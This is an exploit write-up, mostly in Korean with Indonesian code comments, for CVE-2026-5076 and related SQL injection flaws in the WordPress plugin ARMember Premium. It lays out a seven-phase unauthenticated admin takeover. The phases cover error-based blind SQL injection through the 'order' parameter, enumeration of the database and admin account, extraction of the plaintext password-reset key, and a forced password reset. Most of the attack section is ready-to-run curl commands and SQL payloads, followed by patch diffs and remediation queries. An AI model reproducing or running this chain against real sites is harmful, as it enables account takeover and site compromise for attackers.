
CVE-2026-5076에 대한 개념 증명(PoC) 익스플로잇으로, ARMember Premium에서 SQL 인젝션과 평문 비밀번호 재설정 키 저장을 악용해 인증 없이 관리자 계정을 탈취하는 방법을 시연합니다.
데이터베이스에 저장된 평문 비밀번호 재설정 키 + SQL 인젝션 = 완전한 관리자 계정 탈취
| 항목 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-5076 |
| 플러그인 | ARMember – Membership Plugin & Content Restriction |
| 영향받는 버전 | Premium <= 7.3.1 |
| 패치된 버전 | 7.3.2 |
| CVSS 점수 | 9.8 Critical |
| CWE | CWE-640: Weak Password Recovery |
| 유형 | 안전하지 않은 비밀번호 재설정 메커니즘 → 평문 키 저장 |
| 공격 벡터 | 네트워크 / 원격 / 비인증 (SQLi 체인 활용) |
| 활성 설치 수 | 30,000+ (Premium) |
| 발견자 | Wordfence Threat Intelligence |
| 공개 날짜 | 2026년 6월 3일 |
| CVE | 유형 | 심각도 |
|---|---|---|
| CVE-2026-5076 | 안전하지 않은 비밀번호 재설정 — 평문 키 저장 | 9.8 Critical |
WordPress 플러그인 ARMember Premium <= 7.3.1에는 세 가지 치명적인 취약점이 있으며, 이를 함께 연결하면 인증 없이 관리자 계정을 완전히 탈취할 수 있습니다:
wp_usermeta (arm_reset_password_key)에 저장됨arm_directory_paging_action()의 order 파라미터에서 발생하는 SQL 인젝션arm_directory_paging_action()의 filter 파라미터에서 발생하는 SQL 인젝션CVE-2026-5076의 직접적인 영향: SQLi, 백업 노출 등을 통해 데이터베이스에 읽기 접근 권한을 가진 누구나 비밀번호 재설정 키를 평문으로 읽은 뒤, 크래킹 없이 즉시 임의 계정의 비밀번호를 재설정하는 데 사용할 수 있습니다.
표준 WordPress는 비밀번호 재설정 키를 user_activation_key 열에 wp_hash()를 사용해 해시된 형태로 저장합니다. ARMember는 동일한 키의 사본을 wp_usermeta에 meta_key arm_reset_password_key로 저장하지만 — 평문으로 저장합니다:```php
// FILE: armember-membership/core/class.arm_member_forms.php
// Fungsi: arm_lost_password_action()
// WordPress menyimpan HASHED key (aman) $key = wp_generate_password(20, false); $wp_key = $wpdb->get_var( $wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login=%s", $user_login) );
// ARMember menyimpan PLAINTEXT key (VULNERABLE!) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // ^^^^^^ // Ini adalah key ASLI yang bisa langsung dipakai
**심각한 문제**: 여기서 `$wp_key`는 `wp_generate_password(20, false)`에 의해 생성된 키 — 20자 영숫자(alphanumeric)입니다. WordPress는 이 키를 `user_activation_key`에 저장하기 전에 해시하지만, ARMember는 이를 **해시하기 전에** 저장하거나 **해시되지 않은** 별도의 복사본을 저장합니다.
### 근본 원인 #2: 키 영속성 버그
`get_password_reset_key()`가 호출되면(WordPress 코어), 새 키가 생성되고 해시됩니다. 그러나 이 함수는 `arm_reset_password_key`를 **업데이트하지 않습니다**:```php
// WordPress core: get_password_reset_key($user)
// - Generate key baru
// - Hash key → simpan di user_activation_key
// - Return key plaintext
// - TAPI: arm_reset_password_key TIDAK diupdate!
결과적으로, 이전 평문 키는 비밀번호 재설정 후에도 영원히 arm_reset_password_key에 저장된 채 남아 있습니다. 이 키는 메타 키가 명시적으로 삭제될 때까지 반복해서 사용될 수 있습니다.
AJAX 핸들러 arm_directory_paging_action()는 arm_check_user_cap()을 통한 nonce 검사를 수행하지만, order 및 filter 매개변수는 검증 없이 SQL 쿼리로 직접 전달됩니다:```php
// FILE: armember-membership/core/class.arm_member_forms.php
// Fungsi: arm_directory_paging_action()
// Nonce check (dibutuhkan nonce valid) $nonce_check = $this->arm_check_user_cap();
// ORDER BY injection — langsung ke SQL tanpa sanitasi! $orderby = "u.{$arm_member} {$order_dir}"; // $order_dir dari $_POST['order'] → LANGSUNG ke ORDER BY
// WHERE injection via filter if (!empty($filter)) { $where .= " AND " . $filter; // ← LANGSUNG concatenation! }
**ORDER BY 익스플로잇**: `order` 매개변수가 SQL의 `ORDER BY` 절에 삽입됩니다. 입력값 검증이 없으므로 공격자는 하위 쿼리를 주입할 수 있습니다:```sql
-- Payload SQLi via parameter order
ORDER BY u.ID ASC, IF(COND, 1, EXP(710))
-- COND = TRUE → IF returns 1 → ORDER BY 1 → response normal (besar)
-- COND = FALSE → IF returns EXP(710) → MySQL overflow ERROR → response 90B
이 Oracle은 네트워크 레이턴시(latency)에 면역입니다. 왜냐하면 응답 시간이 아니라 오류(error)와 성공(success)에 따라 TRUE/FALSE를 구분하기 때문입니다.
╔══════════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-5076 FULL CHAIN ATTACK ROADMAP ║ ║ ARMember Premium <= 7.3.1 → Unauthenticated Admin Takeover ║ ╚══════════════════════════════════════════════════════════════════════════════════╝
┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 1: RECONNAISSANCE │ │ "Identifikasi target, versi, dan attack surface" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1a. Deteksi ARMember │ │ ├─ GET / → cari string: "arm_", "armember", "ARMember" │ │ ├─ GET /wp-json/ → cari armember di response │ │ ├─ Cookie: arm_* indicates ARMember active │ │ └─ Version fingerprint: arm_css_version, arm_js_version │ │ │ │ 1b. Temukan Directory Page (MUST have arm_directory_form_container) │ │ ├─ Method 1: WP Search → GET /?s=members → parse links │ │ │ └─ Filter: skip /feed/, /rss2/, .xml, /atom/ │ │ ├─ Method 2: Direct Path Probe → /directory/, /members/, /community/ │ │ ├─ Method 3: Sitemap → /sitemap.xml → parse URLs │ │ └─ Method 4: REST API → /wp-json/wp/v2/pages → search ARM shortcode │ │ │ │ 1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama) │ │ ├─
│ │ │ ├─ │ │ │ └─ │ │ └─ Nonce = wp_create_nonce('arm_wp_nonce') — tied to session │ │ └─ Bukan per-template_id, tapi per-user session │ │ │ │ OUTPUT: nonce, template_id, version, directory_url │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 2: SQL INJECTION │ │ "Konfirmasi SQLi via error-based boolean oracle" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 2a. Kirim AJAX request dengan nonce + template_id │ │ POST /wp-admin/admin-ajax.php │ │ action=arm_directory_paging_action │ │ arm_wp_nonce= │ │ template_id= │ │ type=directory │ │ order=ASC │ │ │ │ 2b. Error-Based Boolean Oracle (IMMUNE LATENCY!) │ │ ├─ TRUE: order=ASC,IF(1=1,1,EXP(710)) → response ~10KB (normal) │ │ ├─ FALSE: order=ASC,IF(1=2,1,EXP(710)) → response ~90B (EXP overflow) │ │ └─ Delta: ~100x — tidak terpengaruh network jitter │ │ │ │ 2c. Kenapa EXP(710)? │ │ ├─ EXP(710) → MySQL double overflow → ERROR │ │ ├─ Error = response body ~90B (cepat, konsisten) │ │ └─ Lebih reliable daripada SLEEP-based oracle di site lambat │ │ │ │ 2d. Oracle Alternatif (untuk site tanpa error output) │ │ ├─ Time-based: IF(COND, SLEEP(3), u.ID) │ │ │ ├─ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID) │ │ │ └─ Rentan terhadap network latency, baseline shifting │ │ └─ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline │ │ ├─ TRUE = slow + big response │ │ ├─ FALSE = fast + big response (ORDER BY valid ID) │ │ └─ ERROR = fast + small response (ORDER BY 0) │ │ │ │ OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 3: DATABASE ENUMERATION │ │ "Ekstrak table prefix, admin user, dan metadata" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 3a. Deteksi Table Prefix (CRITICAL — prefix non-standard umum!) │ │ ├─ Method 1: INFORMATION_SCHEMA (paling reliable) │ │ │ ├─ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES │ │ │ │ WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users' │ │ │ │ LIMIT 1) IS NOT NULL │ │ │ └─ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5) │ │ ├─ Method 2: Brute-force prefix │ │ │ └─ wp_, wordpress_, wp_2_, site_, db_, blog_, web_ │ │ └─ Method 3: Per-row oracle via alias u/um │ │ └─ Main query sudah JOIN wp_users u, wp_usermeta um │ │ └─ Tapi TABLE NAME di subquery = prefix + "users" │ │ │ │ 3b. Ekstrak Admin User (4-Method Fallback) │ │ ├─ Method 1: wp_capabilities LIKE '%administrator%' │ │ │ └─ SELECT user_login FROM PREFIX_users WHERE ID= │ │ │ (SELECT user_id FROM PREFIX_usermeta │ │ │ WHERE meta_key='PREFIX_capabilities' │ │ │ AND meta_value LIKE '%administrator%' LIMIT 1) │ │ ├─ Method 2: wp_user_level = '10' │ │ │ └─ Meta key PREFIX_user_level dengan value '10' │ │ ├─ Method 3: Per-row um alias for capabilities │ │ │ └─ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%' │ │ └─ Method 4: First user fallback (ORDER BY ID LIMIT 1) │ │ └─ Pada site kecil, user pertama = admin │ │ │ │ 3c. Ekstrak Admin Email │ │ └─ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN' │ │ │ │ 3d. Cek arm_reset_password_key Feature │ │ ├─ (SELECT COUNT(*) FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key') > 0 │ │ ├─ Jika FALSE → fitur tidak ada (v4.x) atau belum ada reset │ │ └─ Jika TRUE tapi 0 values → fitur ada, perlu trigger (Phase 4) │ │ │ │ OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 4: PASSWORD RESET TRIGGER │ │ "Paksa target menyimpan plaintext key di database" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT) │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_lost_password │ │ │ arm_wp_nonce= │ │ │ user_login=<ADMIN_LOGIN> │ │ ├─ Hasil: arm_reset_password_key = plaintext 20-char key │ │ └─ Masalah: banyak site return "0" (action tidak terdaftar) │ │ │ │ 4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED) │ │ ├─ POST /wp-login.php?action=lostpassword │ │ │ user_login=<ADMIN_LOGIN> │ │ │ wp-submit=Get New Password │ │ ├─ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung) │ │ └─ Email terkirim ke admin (jika mail server aktif) │ │ │ │ 4c. WP Lostpassword via Email │ │ └─ Jika user_login gagal, coba dengan admin_email │ │ │ │ 4d. Verifikasi Key Tersimpan (via SQLi) │ │ ├─ Cek arm_reset_password_key (PLAINTEXT — CVE-2026-5076) │ │ │ └─ (SELECT meta_value FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key' │ │ │ AND user_id=ADMIN_ID LIMIT 1) │ │ └─ Cek user_activation_key (HASHED — fallback) │ │ └─ LENGTH((SELECT user_activation_key FROM PREFIX_users │ │ WHERE user_login='ADMIN')) > 0 │ │ │ │ ⚠️ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key! │ │ Hanya form forgot-password ARMember yang menyimpan plaintext key. │ │ Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali. │ │ │ │ OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 5: KEY EXTRACTION │ │ "Baca plaintext password reset key dari database via SQLi" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 5a. Ekstrak arm_reset_password_key (CVE-2026-5076 — PLAINTEXT!) │ │ ├─ Binary search per-karakter via SQLi: │ │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'M' ? │ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'T' ? │ │ │ │ │ ...binary search converges... │ │ │ │ │ Char 1 = 'X' ✓ │ │ │ │ │ Char 2: SUBSTRING(meta_value,2,1) > 'a' ? │ │ │ │ │ ...repeat for 20 characters... │ │ │ │ └──────────────────────────────────────────────────────┘ │ │ ├─ Key length: 20 karakter alfanumerik (wp_generate_password(20, false)) │ │ └─ Extraction time: ~7 queries × 20 chars = ~140 requests │ │ │ │ 5b. Fallback: Ekstrak user_activation_key (HASHED — tidak langsung pakai) │ │ └─ Format: hash keluaran wp_hash() — perlu cracking atau bypass │ │ │ │ 5c. Key Persistence (BUG KRITIS!) │ │ ├─ get_password_reset_key() TIDAK update arm_reset_password_key │ │ ├─ Key plaintext TETAP ADA meskipun user sudah reset password │ │ └─ Key bisa dipakai BERULANG KALI sampai meta key dihapus │ │ │ │ OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 6: PASSWORD RESET │ │ "Gunakan plaintext key untuk reset password admin" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 6a. ARMember Reset Endpoint (armrp) │ │ ├─ GET /?armrp=true&key=<PLAINTEXT_KEY>&login=<ADMIN_LOGIN> │ │ ├─ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT │ │ │ └─ String comparison — BUKAN hash comparison! │ │ ├─ Jika match → tampilkan form reset password │ │ └─ Endpoint ini adalah GET request (bukan AJAX) — bisa diakses langsung │ │ │ │ 6b. WordPress Standard Reset (wp-login.php) │ │ ├─ GET /wp-login.php?action=rp&key=&login=<ADMIN_LOGIN> │ │ ├─ WordPress memverifikasi key HASHED — plaintext key TIDAK berfungsi │ │ └─ Hanya berguna jika key dari user_activation_key (hashed) │ │ │ │ 6c. Submit Password Baru │ │ ├─ POST ke form reset dengan password baru │ │ └─ Password baru ter-set → akun berhasil di-takeover │ │ │ │ OUTPUT: new_password, reset_confirmed │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 7: VALIDATION │ │ "Verifikasi akses admin penuh" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 7a. Login WordPress Standard │ │ ├─ POST /wp-login.php │ │ │ log=<ADMIN_LOGIN> │ │ │ pwd=<NEW_PASSWORD> │ │ └─ Redirect ke /wp-admin/ → dashboard accessible │ │ │ │ 7b. Login ARMember AJAX │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_ajax_login │ │ │ arm_wp_nonce= │ │ │ username=<ADMIN_LOGIN> │ │ │ password=<NEW_PASSWORD> │ │ └─ Response berisi user data + redirect URL │ │ │ │ 7c. Verifikasi Dashboard Access │ │ └─ GET /wp-admin/ → 200 OK + admin menu visible │ │ │ │ ╔═══════════════════════════════════════════════════════════╗ │ │ ║ ✓ FULL CHAIN EXPLOITED ║ │ │ ║ Target: target.com ║ │ │ ║ User: admin ║ │ │ ║ Password: <new_password> ║ │ │ ║ Access: Full Administrator ║ │ │ ╚═══════════════════════════════════════════════════════════╝ │ │ │ │ OUTPUT: login_confirmed, dashboard_accessible │ └─────────────────────────────────────────────────────────────────────────────────┘---
## 💻 개념 증명 (Proof of Concept)
### 사전 요구 사항
- 대상이 **ARMember Premium <= 7.3.1**을 실행 중입니다
- 대상이 공개적으로 노출된 **directory page**를 보유합니다 (nonce + template_id용)
- `arm_reset_password_key` 기능을 위한 **>= 5.x** 버전 (v4.x에는 이 기능이 없음)
### 최소 PoC — 단계별```bash
# ═══════════════════════════════════════════════════════
# PHASE 1: RECONNAISSANCE
# ═══════════════════════════════════════════════════════
# Step 1a: Deteksi ARMember version
curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+'
# Step 1b: Temukan directory page
curl -s "https://target.com/?s=members" | \
grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \
head -5
# Step 1c: Ekstrak nonce + template_id dari directory page
curl -s https://target.com/directory/ | \
grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1
curl -s https://target.com/directory/ | \
grep -oP 'template_id.*?value="[^"]*"' | head -1
# ═══════════════════════════════════════════════════════
# PHASE 2: SQL INJECTION CONFIRMATION
# ═══════════════════════════════════════════════════════
# Step 2a: Konfirmasi SQLi dengan error-based oracle
# TRUE condition → response besar (~10KB)
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# FALSE condition → response kecil (~90B, MySQL error)
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Jika TRUE ≠ FALSE → SQLi CONFIRMED
# ═══════════════════════════════════════════════════════
# PHASE 3: DATABASE ENUMERATION
# ═══════════════════════════════════════════════════════
# Step 3a: Deteksi table prefix via INFORMATION_SCHEMA
# Test: apakah prefix wp_ ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Jika response besar → prefix = wp_
# Jika response kecil → coba prefix lain
# Step 3b: Ekstrak admin user_login (binary search)
# Contoh: karakter pertama > 'a' ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Repeat binary search per karakter...
# Step 3c: Cek apakah arm_reset_password_key ada
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# ═══════════════════════════════════════════════════════
# PHASE 4: TRIGGER PASSWORD RESET
# ═══════════════════════════════════════════════════════
# Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)
curl -s -X POST \
-d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \
https://target.com/wp-admin/admin-ajax.php
# Step 4b: Fallback — WordPress standard lostpassword
curl -s -X POST \
-d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \
https://target.com/wp-login.php?action=lostpassword
# ═══════════════════════════════════════════════════════
# PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)
# ═══════════════════════════════════════════════════════
# Step 5a: Baca arm_reset_password_key dari database via SQLi
# Binary search karakter per karakter
# Karakter 1 > 'M' ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# ... repeat untuk 20 karakter ...
# Hasil: PLAINTEXT KEY berhasil diekstrak
# ═══════════════════════════════════════════════════════
# PHASE 6: RESET PASSWORD
# ═══════════════════════════════════════════════════════
# Step 6a: Akses ARMember reset endpoint dengan plaintext key
curl -v "https://target.com/?armrp=true&key=<EXTRACTED_KEY>&login=admin"
# Jika key match → form reset password ditampilkan!
# Step 6b: Submit password baru
curl -s -X POST \
-d "pass1=NewPassword123!&pass2=NewPassword123!&key=<EXTRACTED_KEY>&login=admin" \
"https://target.com/?armrp=true"
# ═══════════════════════════════════════════════════════
# PHASE 7: VALIDATE LOGIN
# ═══════════════════════════════════════════════════════
# Step 7a: Login dengan password baru
curl -v -X POST \
-d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
https://target.com/wp-login.php
# Step 7b: Verifikasi dashboard access
curl -s -L -c cookies.txt \
-d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
https://target.com/wp-login.php && \
curl -s -b cookies.txt https://target.com/wp-admin/ | \
grep "Dashboard"
7.3.2 버전의 수정 사항은 세 가지 CVE를 해결합니다:
// VULNERABLE (<=7.3.1) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // plaintext key ^^^^^^^
// PATCHED (7.3.2) $hashed_key = wp_hash($wp_key); update_user_meta($user_id, 'arm_reset_password_key', $hashed_key); // hashed key ^^^^^^^^^^^
- Key sekarang disimpan dalam bentuk **hashed** menggunakan `wp_hash()`
- Verifikasi key menggunakan `wp_check_password()` atau hash comparison
- Key lama yang sudah plaintext harus dihapus manual
### Patch CVE-2026-5073 (ORDER BY SQLi)```php
// VULNERABLE (<=7.3.1)
$orderby = "u.{$arm_member} {$order_dir}";
// ^^^^^^^^^^ langsung dari user input
// PATCHED (7.3.2)
$allowed_orders = array('ASC', 'DESC', 'asc', 'desc');
if (!in_array($order_dir, $allowed_orders, true)) {
$order_dir = 'ASC';
}
$orderby = "u.{$arm_member} {$order_dir}";
// VULNERABLE (<=7.3.1) $where .= " AND " . $filter; // ^^^^^^^ langsung concatenation
// PATCHED (7.3.2) // Filter parameter removed from user input entirely // Filtering now handled server-side with prepared statements
---
## 🛡️ 수정
### 즉시 조치
1. **ARMember Premium 업데이트**를 버전 **7.3.2** 이상으로 하세요
2. **데이터베이스에 있는 모든 `arm_reset_password_key`를 삭제하세요**: ```sql
DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key';
-- Cek apakah ada arm_reset_password_key (indikasi exploit) SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key' AND meta_value != '';
-- Cek login mencurigakan SELECT * FROM wp_users WHERE user_activation_key != '' AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY);
### 업데이트 없이 완화
- **메타 키 제거** `arm_reset_password_key`를 cron으로 정기적으로
- **비활성화** ARMember 비밀번호 찾기 폼 (WP 표준만 사용)
- **제한** directory page 접근 (로그인 필요)
- **WAF 구현** `arm_directory_paging_action`에서 SQLi 패턴을 차단
---
## 🧩 공격 시나리오
### 시나리오 A: 클래식 전체 체인 (모든 CVE 결합)```
Attacker discovers directory page → extracts nonce+tid →
SQLi to read arm_reset_password_key (plaintext) →
uses armrp endpoint to reset admin password →
logs in as admin
필요 조건: 실제 사용자가 트리거한 forgot-password를 갖춘 ARMember v5.x+
Attacker discovers directory page → extracts nonce+tid → SQLi to extract admin_login + admin_email → triggers WP lostpassword → email sent → SQLi to read user_activation_key (hashed) → CRACK the hash offline → reset password via wp-login.php
**요구 사항**: 작동하는 메일 서버가 있는 사이트, 해시 크래킹 기능
### 시나리오 C: 데이터베이스 백업 노출```
Attacker finds exposed database backup (.sql, .zip, .tar.gz) →
grep for arm_reset_password_key →
obtain plaintext keys →
use armrp endpoint to reset passwords
요구 사항: 노출된 백업, SQLi 불필요
Attacker gains admin via CVE-2022-1903 or other vector → reads arm_reset_password_key for ALL users → resets passwords for other admin accounts → persists access even if original vulnerability is patched
**요구 사항**: 모든 벡터를 통한 초기 관리자 접근
---
## ⚠️ 고지 사항
이 도구와 문서는 명시적 허가를 받은 **합법적인 보안 테스트**만을 위한 것입니다. 귀하의 소유가 아닌 시스템에 대한 무단 접근 또는 서면 허가 없이 사용하는 것은 **불법**입니다. 저자는 오용에 대해 책임을 지지 않습니다.
---
## 📚 참고 자료
- [Wordfence 보안 권고 — CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism)
- [Wordfence 보안 권고 — CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection)
- [Wordfence 보안 권고 — CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2)
- [ARMember 플러그인 저장소](https://wordpress.org/plugins/armember-membership/)
- [WordPress 비밀번호 재설정 메커니즘](https://developer.wordpress.org/reference/functions/get_password_reset_key/)
- [CWE-640: 취약한 비밀번호 복구 메커니즘](https://cwe.mitre.org/data/definitions/640.html)
---
<div align="center">


Copyright © 2026 **XENON1337**
특별 감사: **ENDANG**
</div>
| CVE-2026-5073 | 비인증 SQL 인젝션 (ORDER BY) | 9.8 Critical |
| CVE-2026-5074 | 비인증 SQL 인젝션 (WHERE) | 9.8 Critical |